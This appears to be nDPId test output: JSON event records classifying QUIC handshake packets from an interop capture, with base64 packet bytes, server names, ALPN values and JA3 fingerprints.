+02112{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":721106,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAzsFAAEARXhTAqAGAilu8k5wnAbsE7JrHxQoKCgoIhyfaf9ET5OIAAETSThHzecvOQHDw4M1KEvEdEUCr7CAD3OCoyACaSfQrzochTChRx6wrvVz+n+iOMS1T7uOrLABH\/lkEcgzaWAuVRzM5GGhP0QAKdeAxNm0AsijqoG67hGFscKpx5Av3K9sq9rDX7Y\/VGCtKE++QbiaTUGCfsHrykmsrI7QPeSxlf3ybNOigAkts1eOpMwz25k+b9PnMwdGgxKqc+p7n+EcjPFQejHtIcCrVrKASMN5dFF0N\/aceKWgkpv55cG51Qbpmor1iK5rkX+Jp2MWmVKxJJKA6VEfDmOs8+rh9\/bYDHg0cT0TQf4Zr2hLCg6RgKQkQcpxpjnqjjVnWbgl6v1vpjXEkfqOp6LQ7SyRj3OKJU+CC+q8T3ZrAxjtbgQTH6BSqNj5efXKABdLu2ZE9S1a376exw1gxC4aD7EfQxqzjGirRnUARwvI2VMbxxc2dHnrZzXTVUrVa81Vp5nVMETLO1bny7V5SddubE07uIzwFndMmsYTjkTJwD5XPAMks1RFaNVtVW04V3zer0QaCSFmPpOrKA2ENZYUXRl+1Ms5r0ujaH\/BvGzVlt7DDNrWHHosR4VC\/ma1LSnbA+WH2DeEaYdOBu9k38i9r4ijFtLZ3F8QT0b+bWuRxlbf8JzOO6XJygAjh4eIcY9Ifn6Ag7e30VziB3U79j2fB4F\/Mt+Uv+l2lFBFVyIRYWLQl09QlzkOdaohOuoVGT+vunC1+0eAqFF3oxCobr0gBT9\/9LcLUFdypCpP4\/SwPWvfF+zqYocBjePElav4+tGCKrt\/mkRyKvh\/nYulR4dFSm9pIzgjYoT78ZAE2lNPXyk6\/wkm6W4x\/Hk6rPPDi5szKTPrrB0V1qBTNahyFnb9FvHoXB4fK89PmOZMp\/yecWo4kP\/4lCl\/0sXffd\/0V5mQwriutI7UUKJmZLeDjdWC8J0aU6CLm\/SAEqxf88fV5pVMs0AYkAPp\/9j6IANm3UDJnqgRh8cV1\/31bcLPsjWchpJZggmMYkHI2wDN3Sl9zv+cjKCe7+jCl4jW8L\/ekF6HvMfC0eZ4nbal4FyAx8lo4Ue7X8ccf91\/AaqxYlfnlLzjGSpAQtt5baUgZHgnmszaHCnFbo2HHjdmmeu9Y473RvYemO3l50MKmLZG8lmdXQYv688u9bT4irxXqmbHi\/KHwUDOgFg0j8s0Y\/EmH\/pUgZCvgDFCtWtE6OW\/Hyq+5Cq\/HLgwB+IqdME7iVh3EnO3YfKXA50YgeqN5yY5ZNK6jO6v4bbk7\/wLtWdLdrB98VjrtJxA3EfSPn3vx7DFBmIWTYqLE+TpavUx0HxH19PjHereWaV9o6Cgs6+3PWf4tHc03d1rwK6f0xuBoogN97dsTvTJpqwpURumirQKVo3x+5CvP7oOU957Rt\/07vk0ZfIXTZECv+R5Y+R5gZfgoFzxzcENMe3qIbQZk8PFnchoS4GL\/8Y3H5Zb9Ei56qun9YxSW1Biasm72GWT1NwX2gR1bQjPxGosYAY\/6xPeLmkDAtOOTQ4g1vxcLLP8ZY+VaGsUNC8YbA40ig6LjBd1CD5E8RiAqEa9E2sD4lNd4+rToxZT0gmByW82p\/TzmPxSzryYrUGNjoU4d233l88kz7+WQyjC7tX8oBOiRLI2cu8Cgzkq+Qerk7O1ahg=="} +00754{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1603816434721,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":39975,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Microsoft","breed":"Safe","category":"Cloud"},"quic": {"client_requested_server_name":"quic.westus.cloudapp.azure.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1603816434721,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":50705,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02104{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":721167,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUApPtAAEARh9rAqAGAilu8k8YREVIE7C6GxwoKCgoI6izyia7+eS8AAETSt+QbRbxl9Fm+cZhPehbbyuY4X98qiUiG97DtvQxOnW4mI8Cl3JV0HG80thoAdqQu1a\/K85y1Ygj5RP4637KMtJIeTQw7yPPnXHP0zU4RjZ62TRhNYZ6eNVI8rDTqX1U17UTGdzCJDQ6P3bwSFn\/hecgMOHAgJBSmXtzvmrL3MX129OuthefAiwdrij8dlZ+1POyInLQ1s4zElf1Qtel5JDZstCNGEQMu3Yksb7Fp8N8QxRhMiYahy\/rNZuX1sDo+S8Kt0f4nxECcA68o5O3j7RZ0UkQbCk7TY7P0k6hNhGbG8k6dzns2FDeBH2AWR18Xa6EbgQ+OE51BsT69F5Mw6Qv4zVxrj3nvm+j8ViswJ2lGHUVv\/wERdeEUkom6scesBC8GBF5oO+ERsonLbBlk0k64qeF0Mq16CQ2Tk4A1XJsEkeKkk13FfpgZ4xmju7ZvBKg6vyEj2GwP\/prZKaMYyek4cy3+1jkURWmaCVIJ30zt\/SxehiygkHDUiHnhD4bbKnxoZnxLWYNZlzO2olSPOXGBVUKEmol6Z1tK9f9JtrTB1m6tWsGbvwGSZA1y816T1+9q3kC45+v+o6ZmsHQTQIKTABYPnt8Wtf0hV33bQFBnhVsk2Gxdzjdom1ZLnDG+UAt4D1lf5cwBPUEisJIkPJBWS+rRvxC4DSNxciNVRjBHHot+7iiljC6QJOc8tv9ovBuMSSgCyDMe9n6HZtnwKuFrJijK9sqICpmLcJkRKxtUrOmfIadJlbAhdaPlAaOtL\/gMLjBp5boNC8pc8oLdF5gMKu0u6JrSWcFM7DMe\/SsSxMHlXi6oim5b0Bp8EthbxMMoLevrzbay70814zyI4WTOGY9vs32q1YnE4xZtSITnSbueYtYs5y6gAD+78I0tPBp\/bsV8QK5jclDqhGJvB+AVr\/WiMRT4OB9wSBwZXgYvAqWVfPSOkoHm3S6eJCcDs9F2x+hzEigXYsc84EvM4A1FCIAV7dO57go8nEQBW53ScAoMrWnMLYP0jkSI6suyGhiNp+h\/hClT+r\/Op92bWLS0pmZuvcNoTh4NLNKHapDtFwkQScIFRJ5B3b8fbGgludLcc2EtUA94Vc8QXVeNTIe0oP4s79m2XlQxy5y6O6OOkdY\/eUiYY9ApibduptWlMeUaNEA943We+rSbYXAEwOAraCMgbo\/PxzNUEPSqGnFDmTG9n+KnmYQi\/Alvs3QfYLLJt92WPsYBjHomiJjYWrbbdpMsFSvM2JeGnLfPMCegUq7+rsZIXjLTFB9Be+d9JUJ623MReNEYoMx8+sr6dCv2Gspxsl42k\/5L+7+ZDtFPo3XT6sEDxDYJvaEBjW39mG5b7C2beKtDSKu9M+wzWHdHw90KV7KS6\/DYWbLEkLOhVtsHdqM\/8MkUyr0noHt59IlTRvNBTWfpVdPC4nFiuDekpKBrvN+3EkNvSU3PCcM3kbQrdBSuFh0g28\/mzkqSAv0ZX5bxXIyBY6lC2UEqGMZo8UOe\/BO8r+hCIJMGZ7nG2fzy\/+YOPtJrO9Mb4J6yQmY0rqVI+EvjNDPprLHMCYe5Q5VOAznPM\/b5ELOgKrzgym72uZNPWn3W6OK4K\/yCjCGoXsltbqumaaP0\/hRyLF6fCMMUuvnes1g8uU+5d9gQLw=="} +00812{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":76,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1603816434721,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":50705,"dst_port":4434,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"QUIC.Microsoft","breed":"Safe","category":"Cloud"},"quic": {"client_requested_server_name":"quic.westus.cloudapp.azure.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00502{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":722567,"pkt_caplen":109,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":109,"pkt_l4_len":55,"pkt":"PKn0qB\/spJGxgjQ5ht1gDhB1ADcRMiYEqIAIAAChAAAAABJ5MAEgAQsHCsnVrqTT\/kdpHoB9EVHHYAA38EDMAAAAAAAIJzYQ4GSWjENRMDQzUTA0NlEwNTD\/AAAb\/wAAHP8AAB3\/AAAe\/wAAHw=="} +00508{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":725950,"pkt_caplen":113,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":113,"pkt_l4_len":59,"pkt":"PKn0qB\/spJGxgjQ5ht1gBLlEADsRMSYAHxgjENIwUQN9nn11N08gAQsHCsnVrqTT\/kdpHoB9EVLLcAA7grWbAAAAAAAI85\/7s6OU42n\/AAAg\/wAAH\/8AAB3\/AAAe\/wAAHP8AABtQQ1ExUENRMMoKiqo="} +00526{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1603816434729,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":41857,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02101{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":729337,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gD9VeBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmo4ERUgTYcSTECgoKCghziEmCXfFrHwAARL4b9YC0jUsti7Mc5rxL4bMvXbxsMAL4olVYvjN5PRilW7n4ljBBgiUUpEp6wkwiK5RNAL1DfWrRUra5EMQLYa7yT41ymm1v6KJQRwEqyPeHRFsdBUytKI1rPpS2iH3d+FCzh5\/N6Z35TAJ9TEkCWIk+Ml+SIXBhvhzUmKrkh5gS1558X7aUVr0+OVPR\/OBAJI6M04pwjG\/TaX02ASBnVhuctq1ZReIF0Qlkld94+mqjWxQYB1h\/dpYajowgC\/v5jRQEyHEsjdqTOCfqW28oG8epcCImwCaKkDGkjO6jIwTlSxF6latNrZSmdZRrSDZoCq8uakGSkhQeQD2tbSdbJP3NIbv48WygGXsPWffl9u2ujdRJm\/mhRyLkJCjx5sa5rgRArGikWOTIFjBiZskkStgxHsaKre0OnrY1wLFpG4jthscTHZBq1DL09xjZXEQJ2ar4Dtzgafat7TI9Hfak0NczSvcPxpb3sdfCJrdFt1LLq8mrHti29tt00qMRqTnKUeIkHYHh7EQQ9oqrrtJifM5cuHsdjGPMVxm9ZUD0068DuR7m1j4gZFuCYXIep1D1iLrNXyk77C1SoyXKdL1MFZ598bVXG059RuwlXJhTx+IppuQLvyCWcvMiIipe3POlLLXybFowBGtm+37kvSW6bP+6Bxu21k5BVUZfDmEKQyiqLWLjwhxn3jDb4fTI\/tsSGhcc\/41ZbDNffoTAgxCap8FDnwN9k1QY743o2ZLez7kXEqmuCSqROQE0HUjKczuKGz33rl5rbKMOlfIb\/lA8U1oeAS0Sj3wgBhRgs1SQYzWkBHGDyVcO7BJnrphu3U5D+htX5HpNK\/0e0TAN25zjT+K8nEX\/3DxvwlbRk5wJn+AyZ6JzbbsH\/1G362DzBVBwHYtagkCvON+t57Hc8iE0aTENenXMtwoN6f1B1wYZduiqdYZPniBsQbp7yIJXGHSGCsbl9vCCVYSK6B4mOBmSs59Zd9Zrb7yQCHCnL46xUUYWuW9XHIcs0q\/XTN95d+nDWCaFZa+65E1OkZ2fioJ1I0J\/kglR5x\/pGBhYlVfLXHAZVrrS3NBUMxiwiuXE9YBgC9AX1K\/KCo5PwZac3eUtWl9Wvsqatscy6Zn2neT5yibaTDkcAz+i\/SD6bPG3oO+HswnP0fQu\/hQQV52AAn588lzkI6wOW1Nf2SkEsrPhNqIqbOT+45N1cYw4dXaKydqgziAJcH6frtCv\/BERLWdW5ewDhAVbqZlXbOJGS3oeEiYxUgAGq5frf4Jy9sSj6pAt8NpKzgi1DQyQw+BwQnHXZRD\/HBVXw3jtQ1qbfGSm14e62NKcGoZWqPZ0CTo3qMtWuIR5HUMC7Ai6bto6NZQHe4oCIJdkAxQy1eEp0C4LTqq2dwEQGt8jSA+u5zN3lFYX3qO0vvZJcB6Zk0gu35QWPxA2cbDcDeaDguvChaUcmmEJupLYmfRogah2a2iBSw05H7VN+qBky0gky1JC8ev3mlnS6NoFiCW1OUv+s0O3xZXA3kkBnLnMiQ5jYF91oGnVVU63IlOma6Ux58+jDHxiAI7Pk+X2pAFVXwS81L08kdqsBZcYLq9UHGw9rxSOOIc+iP4xlUuEXJrJ2xk2YuBRoQ=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1603816434729,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":41857,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"cloudflare-quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00530{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1603816434729,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":56073,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02107{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":729343,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCGnqBNgRQCABCwcKydWupNP+R2kegH0mBKiACAAAoQAAAAASeTAB2wkBuwTYmHTJCgoKCggVxSlYpn4UkgAARL5ZLsODdf27vLuu6GHs9eSXiVxIAlfs7TcHZcazXn4JE3\/P5JDqe+tOVWQWmWJiN1Zi+QMXxBMeLDuq2FFgXlL2mFN2Y0Hpqzt32q0IcYNEtodCx0cCDcymndGz22NucmhqDhsBTfQYSZ0TGfZ0Y1dj7OIdkztU4UKtQk0Knbx0pPfOb04IoU66JRugmLaY3NcS6\/YWs3i+G\/Z1NaiZhF7wHXHAr7RtRzKLb2gPHbqV9JkwnbYNdieDzqo6OGYxfFJAF9UdpTyC5RofrFHDOiAzzOkMjstRpfIx0da81MZNBFjRQx8VBZVl5cb5VmHHCRKqUJJ\/pimnlqr6\/rH78B0tJyJdMLcbA0k\/GEaMgb2r9k+khrfN+IYPTP9LEK9IyC61PSNuLM7lCBCfjRBxaONHiGk0HUucFiwpQMj72lTAGTUsQa8qFngN+9r0I8HgvmsmOXC4IyatQFicI6JIBY\/\/xLWv+tugw\/qAeO1niZ+nJFTAbwyvKydJ4CrRCQplld36lx1IDKeajrlxvSY4TO7ZlmYtBTR\/QIZQ1n0y7WxFPForSvTZ5LmkvmQy\/XOIdCHzDT+yu3OG+dlOa05oJSJ5squ1DJvlYS4iSqaRgDu8O1f9s7zQOTQDTlP6inO815rKmw1YpQze+QAPS9Ar8Eh6loMYvm597mpGIaaCjBGmRjM30Y3EWQUMoVmSMYlr+ndlJs0\/parg\/PrflXFNfkn\/Wllw4cvS+JLWNhoBBJwDWpM9YkqIgN6sP6Sf1ACXsEwIhZbB5T3Y+mzlz1fEroyxtSisqFOFlOCB2g0djczdb72gMhUvdB4kROfNLNOm8f4hG1ZnJraoSrQJwgrY+zsLAidSwY62GHtAM9fUNITWGPk7OLfW3OjEbL6sh7ywY+xM+yu0nYlxg0Z8ST6zlbK88Dw9rVrViSQ3Oke1RR\/RShjWSOBcuUxTcA\/eXi5dEcOdrVm6ZsDQ0chPleXisZB4yI9mZgj+jwkM4eFcO6OX8YpKRHpSZrb0SkaAHjgOICK+1d\/ehnzz7M0KNYGDy8XZ08SS3gXJzSNXZLonqI\/bweWJiS+9rlVrB5J5IwRHJDEVN2aAZJbdqAdmcFPCL7XDwYisg0GfcM\/dL5C5xxZS6hZbPHwzwJ6y7r6\/T+A0XWV92UuetwR0QSUywswmbazFGMC\/MBz94jyq\/TrHbvq8OgHad29+CNuQfDZZomN6lJoFhgu1iOIbRwea4vmYiVysTLFxxLhym6vQpFJXvihZGX2xoV1bucff9DyhT5\/Wm8sYVpYS8i2GcM3jWfruzg6rk0SVDY6hf8HFcXkvUJGnDN4KwlwULBiTr9COS06u3di2jUKJqL6FFXM1FtZVzdRf3O\/3GNXJ2HDuA4IlWQXWMcKwj7HbOKOWlf39BkQPYBB\/3CwqDH5TkC7Ny98BmDT6ZzxJIZcSDCUoAZ3M1Es1K7QjuPUiIJlOZZ8vmraAuL1z0zGli+qvbM5O\/6zJbeqSM2M0z0mrGA7v66IfdcHwb0k8mj2tM2aIyHApEXwJPFbWKxWcFb4yW1jdVDOO0dDpGwpl3Ci5EerREPl9RIKJcKdoNqRq0LiqreYf6EOoxrVqsnRGXi8dK3qw4eUScQ=="} +00783{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":80,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1603816434729,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":56073,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"http3-test.litespeedtech.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00520{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1603816434736,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":43645,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":736042,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gDJNoBNgRQCABCwcKydWupNP+R2kegH0gARnwAAQANAAAAAAAAAABqn0BuwTYttHMCgoKCgiHmjxz9S5+NQAARL60MndZKQNzXHuWbuWII8yYjx1QNcGEa3n\/tA\/kZwZdo0+NMbEhrCvw4fqUesktNwPhDHylUS4gcbEvHHb8Knr61qY95Pm5VKwq10YKtyHKrPUvOt6FFf4EaXlhbjCjP5PNGMuBPWvET6CR\/DNJ3amwoZ8AEiUkCCce2IA0+qLjflDvOu19oZVQSJhyk0ID2QUVFxDX+RIo\/BCEiyqGwrxxtUHNgSlpQhvXLPkd7gs0O8q\/1O3MXjjXw3VV1HTEIvgh9CIZHImqbItBAkHFYhj85297ojhzntlLLEMQUeWyYcLZaQRQLAnNxNHIfLFBwCs6Cttccxk8XUgObPlTQVTnnGvEYXJadvbFnkb5nj0E7bmqr23E\/kns4IXbYRFlEjJZfAc6UWDdSOXBoZHXMIAY\/dztkylxbqayCWGkn8v3wQJvR2xFoTyKE+Pp5saXn2uSt4EYi00Uf6fCGbypDRgDr6HED25efO5iFC99NJvuET7V90ObiIxoji+jOYwIL0BCHSm+uFeO8i7r3GmYR0Qg2iAiX6ZmlOl5gmCd40kAXe9Lo\/pKr3+r853YnPdtRNoIckFL+PsGubjlWj714eDNDRnoSoHs8UNwnNN8sF12pzQsAVr7qLBt4e8KWXFMXfkfIKWSnJhvivGIVrhMeN4RiaQ\/jippacCl0CUjlR9AUDC7DyDOswJ0+eP9X+z1Kkt7EaP13RXwGDeKbPLk\/tVc3ZXQShkobo74qelkPT7nbFmTZB78n2grmfmy0C6HMQ+qUHKH\/MfqCCK2ZnmHVM8veaHwzWHFJ4gVd2h5wLXlBRQqCB2AZzoyKpcMZFNpfGh+rTCIwQTyVZzycWPvtrbHzPNg+tUe1i\/foBt0+XApuoCCwHOsgf9nS7IFS3h97hfCh2TYTKBM6t9C3VPFYDuKYfUjriuP3G2Eq7sMAiqBDef1fYGxLN\/Dys1ZS2B2n+Zqt6K1diQtrzsIwKlRRg+XjfSSzPOVrKeXYenyNePWIMOs4YVAyvkFPV4RM\/osDQvZvShUA0iRuuMPCsj024c7WYx9lDihj4EJBymWsIkTQg0x6rfvVrFojeVlS8zgiytvfAIJsOr+k34t3NbLaK0YyfFcVKBnFDiEC5OcAMd0yi6ouvtE9rJyb\/CiH+Vtx9OSGkbowLLyCHtZ1EUgA0\/vr\/mU+ea4hE\/dLdDDjWwxrJg1oKjnYeHQvIDUT0MVaXTlMXS7\/F6HA7\/5QTayU5MU3hKtpwhACAx5gHHhue3iTscqXigKQ7oiaLOdxRIJ2wKmzNzvQPCG5UmOLnsbM\/3lI+SzzLjMM5HxKsnb7yJmS6z2+tdEoxPOa5ZNm7Wc1LoGgLZd+x+V88MeQDFaBDMQHNWCS8z7Ruv7Q8Jc\/JKShee1avRiWD+QjKfpjPULJzGhq8IhO+3xUZoq\/xSnX5PQ7xqYQY3oim9xsL+ADJPPe0oE2O\/lbNfbGhouInwUUVqUmdk\/fion2o\/ylxCHaGoB6j8tJgJq8ystdV8ErJCcEhkKohD7qeUu1YL\/exHAdFqCo5yGAJyVZFmJD6CkMOCvG195MdsDa2WfPCN+fs1Twy5bRnpAdq\/aOqOWkb9sVtpRcByoK+nPaUgcYcmBQw=="} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":81,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1603816434736,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":43645,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.rocks","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02100{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":738509,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA8ydAAEARtHzAqAGAwb4KYucjEVEE7P8dwwoKCgoIOPxKwZ+D2JAAAETSb9UlQE89ABeQeI\/QpsT81kvbf+yGJkDFJiGPzWvy81KCH2cJiDSPisJ1QnX5xtmzBkvUHRp2FuQGYa\/pilZqNP70VReX07WlD\/pZQJVCbigdcxMaEYZASHVRfutuRBKJAqHBAwLkNLD3Z3I0ZaHCqcS9KYzw98tkCokzq6mDpHzHtf6ExbYo4N0cIacCNvdP+KsCtrUQL5WlJ9CyKBD242cIc5CKdLYQTld3qevU3UaqfhVdl5eNkntpOfIkomDk06sEpzJqxU7qHCvJeRN5m5L79zL+gTeIyE9Asm2jjoxtsNgfImDjEtUQxGhWbcpzrh3DpfCal+\/Lh3\/9pzSQhk5oc7WisaXX4PMLYNl+D\/m52ZU0UFUhE0+l9n3VSr0dkOaUEe35MHeuokXZgwXZNMBFC5igXXlE8UTLsi0ue8JTTCNLCTt+A2z1dpM8DEqH3biH+qPKj7JaqT0dHO+FKOdg2AM+f4RwN8QCF26RT62FuMBNmyc7aD4PDQPxUCYmRi0UGMYomOoMy8hZ\/jdhA0wX+8Om3VVga0TGy7NSDrerhKL7+YEsof035rdtPH0Y3j599QoVaO64ZA3v+T3u\/PfqnGSNilFgI9flDp09Oakd9oM2lrpaAWLKUI\/yiWEn06khwuxYpdaA+jHlJRUxbcAtBcEA7Cj1DsLuovsIWklWe2vDb5Co0vAUw5gsM+5gFIyui6IYAnMYEgYAo0c5k8aJzc1BMlQVQ3DaV0O66JJgt45uH5jizP8oxu2Wh52E9LT2KVQJhcHClILWv+P8RGxhrIU6t17U1LVUVBWrmKV60at1NW+rS5XSlF37anegq12p4\/NuoM\/YA2qu2AGPkJxiKmaQkbUvxD27zSetz4qW8RHM7iubRGqfzIBqjSpWnrxid4CaaVVEodx37MBRM60oKdEd8diMaexoLpCHpXy9\/9K2ILLllW9BNa9VJqdBFl\/PG2+3KXrSPTzMih\/0LgFxzrGSKn0cLTERd6NQOkq4kYFwu05o3XKSFMJCrrKttzDQOD0Xxkg+EwHHOHzZmUPRCHUL9xhPxEJdnU1P\/3DLDZMnviROzqkxPMEGYvrPbBWkCovwDH0\/6kXKJUwTNn4cbIQkW\/t2p9CS7lBLRdj+DcuKY4rzac0WcEfT58KRBSZN+EEOJ8ox4ywybHsEVQIhRgiC6M8tZ0Xtu+jwmRkD7RXtD4ivQRzZZrdRaM7+